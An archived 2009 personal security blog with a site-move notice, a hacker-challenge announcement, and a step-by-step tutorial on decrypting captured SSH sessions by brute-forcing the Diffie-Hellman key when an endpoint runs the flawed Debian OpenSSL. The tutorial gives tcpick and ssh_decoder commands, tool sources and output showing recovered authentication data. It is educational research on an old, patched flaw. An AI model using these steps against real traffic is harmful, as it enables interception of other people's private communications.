No More iWeb

Sat, 2 May 2009 21:17:35 -0400

This will be the last entry on the iWeb willhackforsushi.com site. I've switched over to WordPress; you can visit the new site at http://www.willhackforsushi.com. The new RSS feed is at http://www.willhackforsushi.com/?feed=rss.

I'll keep the old site up for a while to minimize 404's. Please drop me a note with any questions. Thanks!

-Josh

New Hacker Challenge: Brady Bunch Boondoggle

Sat, 7 Feb 2009 11:56:09 -0500

A few months ago, Ed Skoudis asked me to write a hacker challenge. After much thought, some new tools development and many hours of Brady Bunch DVD's, I am pleased to present the Brady Bunch Boondoggle, hosted by the good guys at EthicalHacker.net. Of course, this challenge is filled with Brady Bunch lore, and some wireless prowess designed to amaze and confound. Winners receive a free copy of CounterHack Reloaded, including a random drawing just for submitting your name, so check it out today!

Decrypting DebIan-Vulnerable SSH Traffic

Tue, 3 Feb 2009 12:54:40 -0500

My favorite security flaw from 2008 is the Debian OpenSSL vulnerability. Lots of analysis work has been done to understand the ramifications of this flaw, interesting because the effect of the flaw lasts long after vulnerable systems have been patched. Full recovery requires that all keys generated on a vulnerable system be replaced.

Lots of folks have experimented with HD Moore's precomputed SSH keys, allowing an attacker to quickly identify the private key of a vulnerable Debian OpenSSL implementation. If you haven't looked at these tools, I recommend you setup a vulnerable VM, generate a SSH key with "ssh-keygen -t dsa" and use some of the scripts on the OpenSSL Toys page to attack the system (on the vulnerable system, remember to "mv .ssh/id_pub.dsa .ssh/authorized_keys2").

What got less attention is the ability to decrypt SSH traffic by brute-forcing the Diffie-Hellman (DH) session key of a vulnerable OpenSSL system, implemented by the great guys at cr0.org. Two of their tools can be used in tandem; ssh_kex_keygen which recovers the DH key when at least one system in the SSH exchange is running a vulnerable OpenSSL, and ssh_decoder which parses TCP stream information from the SSH exchange automatically.

The folks at cr0 wrote their tools with the intention of recovering password-based authentication credentials against a vulnerable system, but it can also be used to decrypt an SSH packet capture when public/private key authentication is used. In order to get the TCP stream information in a form useful for ssh_decoder to parser, we can use the tcpick tool on a packet capture file.

To decrypt an OpenSSH session of a vulnerable OpenSSL implementation:

1. Capture the OpenSSH exchange. Unfortunately, tcpick has a bug which prevents it from correctly parsing 802.11 packet captures. I've sent the tcpick author a patch that fixes this flaw, but until that gets merged, you can convert an 802.11 packet capture to an Ethernet/802.3 packet capture using wlan2eth, available at http://www.willhackforsushi.com/code/wlan2eth/wlan2eth-0.1-src.tgz.

2. Extract the session you want to decrypt. If you have a big packet capture, it's best if you target the exchange you want to attack. Wireshark's Statistics -> Conversations feature will allow you to select any of the TCP sessions in the capture. Applying the session as a display filter (right-click on the TCP conversation, click Apply as Filter -> Selected -> A <-> B). Save the display filter results as a new packet capture (when clicking Save As, select "Displayed" in the Packet Range group in the "Save file as" dialog box.

3. Convert the packet capture into two data streams representing the client and server communications using tcpick:

$ tcpick -wRC -wRS -r ssh-sess.dump
Starting tcpick 0.2.1 at 2009-02-02 23:00 EST
Timeout for connections is 600
tcpick: reading from ssh-sess.dump
1 SYN-SENT 172.16.0.6:44388 > 172.16.0.99:ssh
1 SYN-RECEIVED 172.16.0.6:44388 > 172.16.0.99:ssh
1 ESTABLISHED 172.16.0.6:44388 > 172.16.0.99:ssh
1 FIN-WAIT-1 172.16.0.6:44388 > 172.16.0.99:ssh
1 TIME-WAIT 172.16.0.6:44388 > 172.16.0.99:ssh
1 CLOSED 172.16.0.6:44388 > 172.16.0.99:ssh
tcpick: done reading from ssh-sess.dump
$ ls
eth-sess.dump
tcpick_172.16.0.6_172.16.0.99_ssh.clnt.dat
tcpick_172.16.0.6_172.16.0.99_ssh.serv.dat

4. Grab ssh_kex_keygen from cr0.org. Compile the tool by running "make".

5. I ended up running into problems with the ssh_decoder tool causing it to fail in parsing the tcpick SSH session data. I chatted with the guys at cr0.org about it, but for some reason the only mailing address I have for them is only returning undeliverable. These hacks aren't a 100% fix, but it works fairly reasonably. In the ssh_kex_keygen-1.1/ directory, grab my version of ssh_decoder.rb:

www.willhackforsushi.com/code/ssh_decoder.rb

6. Ready to go; run ssh_decoder specifying the number of CPU's available to brute-force the DH key with the -n argument, specify -s if the server is vulnerable or -c if the client is vulnerable and the tcpick .dat files. On my Core Duo laptop, I run the script like this:

$ ruby ssh_decoder.rb -s -n2 ../tcpick*.dat
* read handshake
cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha256, compr: none
* bruteforce DH
DH shared secret : 480a7ee6d32d09fb5a6a931ba0fca33e ... <trimmed> ...
* derive keys
* decipher streams
* successful authentication packet
{:testic=>1,
:username=>"username",
:keytype=>"ssh-dss",
:key=>
{:type=>"ssh-dss",
<trimmed>
:nextservice=>"ssh-connection",
:auth_method=>"publickey"}
* deciphered streams saved to "sshdecrypt.0.client.dat" & "sshdecrypt.0.server.dat"

The output files sshdecrypt* represent the plaintext data of the vulnerable OpenSSH/OpenSSL implementation. If both the client and server are vulnerable, then you'll have plaintext data in both. If only one end of the session is vulnerable, then one file will be encrypted and the other will be plaintext.

One sesiously missing tool to round out this vulnerability is a mechanism to decrypt a non-vulnerable OpenSSH server implementation when the public/private keypair is known. Unfortunately, to the best of my knowledge, there is no method to decrypt a non-vulnerable OpenSSH session. This is something I'm working on, and will post more information here as I get things working.

-Josh